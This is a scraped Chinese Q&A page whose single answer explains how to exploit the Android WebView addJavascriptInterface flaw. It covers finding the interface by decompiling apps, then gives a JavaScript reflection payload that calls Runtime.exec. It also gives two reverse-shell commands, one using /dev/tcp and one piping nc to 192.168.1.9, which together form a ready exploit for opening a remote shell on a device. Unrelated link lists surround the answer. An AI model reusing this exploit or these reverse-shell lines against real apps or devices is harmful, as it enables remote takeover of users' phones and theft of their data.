问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

如何 利用 android webview 漏洞 获取

发布网友 发布时间:2022-04-22 08:59

我来回答

1个回答

热心网友 时间:2022-04-21 13:37

  在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。
  
  0x01 检测利用
  一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface,包含不限于android浏览器。
  在android 代码程序一般是这样使用:

  
  settings.setJavaScriptEnabled(true);
  settings.setJavaScriptCanOpenWindowsAutomatically(true);
  mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");
  

  这里可以用
  apk->zip->dex->dex2jar->jdgui->java

  代码来查找。
  但建议用apktool 反编译smali(毕竟不是所有apk都能反编译成java代码)
  在smali代码中 则是类似下列的代码:
  const-string v0, " js2java "
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/mole/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V

  当检测到存在上述代码时,可以进行进一步验证利用:
  在11年,已经有人利用addJavascriptInterface进行文件读写,并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码;
  <script>
function execute(cmdArgs)
{
return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}

</script>

  利用java的exec执行linux的shell命令。
  0x02 远程获取shell
  套用yuange的一句话:Poc远远小于exp的价值。
  利用addJavascriptInterface实现shell.
  Android内部的armlinux 是没有busybox 的,一些常规弹shell的方法被*。
  使用了java的反弹shell方法
  //execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);

  在Nexus One 4.3的android虚拟机 并未成功弹出shell.
  后发现android中可执行 nc命令 (阉割版的不带-e的nc)
  这里用了nc的另外一种弹shell的方法完成
  Exp 内容:

  
  <script>
  function execute(cmdArgs)
  {
  return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
  }
  execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
  alert("ok3");
  </script>
  

  // 注 xxx 保护隐私用xx代指。
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
通达信主力指标公式汇总(2023版附源码) 有什么类似地下城与勇士的手机游戏 有没有类似于DNF的游戏 苹果手机类似地下城的游戏 有什么类似地下城与勇士的手机游戏 我的系统是WIN732,为什么玩不了光晕2,一点开就弹一个对话框出来说:无法... 玩诛仙电脑配置诛仙3要求电脑配置 ...永磁为什么要跌啊?东方财富金力永磁股吧?金力永磁股票最初..._百度... 怎么找回注销的微信号 如果把手机号码和微信号同时销户后期还能找回微信号吗? 仓储与库存有什么区别? 仓位和库位的区别 3070显卡无法安装驱动 3070驱动怎么安装 3070显卡驱动怎么安装 给一段代码头文件,怎么识别出是linux平台运行的c... 3070笔记本安装那个显卡驱动 求NVIDIA GeForce RTX 3070 for Win7显卡驱动V460.... 七彩虹3070驱动崩溃 互联网安全术语 3070显卡驱动怎么设置 VHDL多模块port map()问题。 3070哪个版本驱动玩游戏帧数高些 命中漏洞POC请求是什么意思? web前端不掉头发的学习方法 webview哪些漏洞如何避免 sql注入的exp是什么意思 python exp漏洞怎么用 基于Python 来编写 Poc/Exp 该怎么入门 基于Python 来编写 Poc/Exp 该怎么入门? payload,shellcode,exp,poc怎么区别 POC和EXP的区别 求华硕NVIDIA系列 TUF RTX3070 O8G GAMING显卡驱动... 华硕官网为什么没有RTX3070Ti的驱动? hellokitty为什么没有嘴巴? 华硕3070ti猛禽驱动 Hello kitty是什么啊? 3070驱动和8187驱动差别 如何在石像鬼固件安装 RT3070驱动 Hello Kitty的详细资料 hello kitty 是什么意思啊 如何在Mac OS X 10.11 上安装3070网上驱动? Hello kitty是什么意思 Hello Kitty 是哪个国家的品牌 hello kitty的人物信息 现在这个季节泰安市39路公交车最后一班是几点发车啊? 想知道: 泰安市泰安39路公交站牌在哪? 泰安39度酒仙酒每瓶价格85元吗 中国石化山东泰山石油股份有限公司泰安第三十九加... 泰安市泰山酒厂出产的泰山龙酒(青花)的多少钱一瓶?... 泰安市人民政府泰政发〔2002〕39号还有效吗 从泰安市中心医院到泰山职业技术学院做K39路公交需...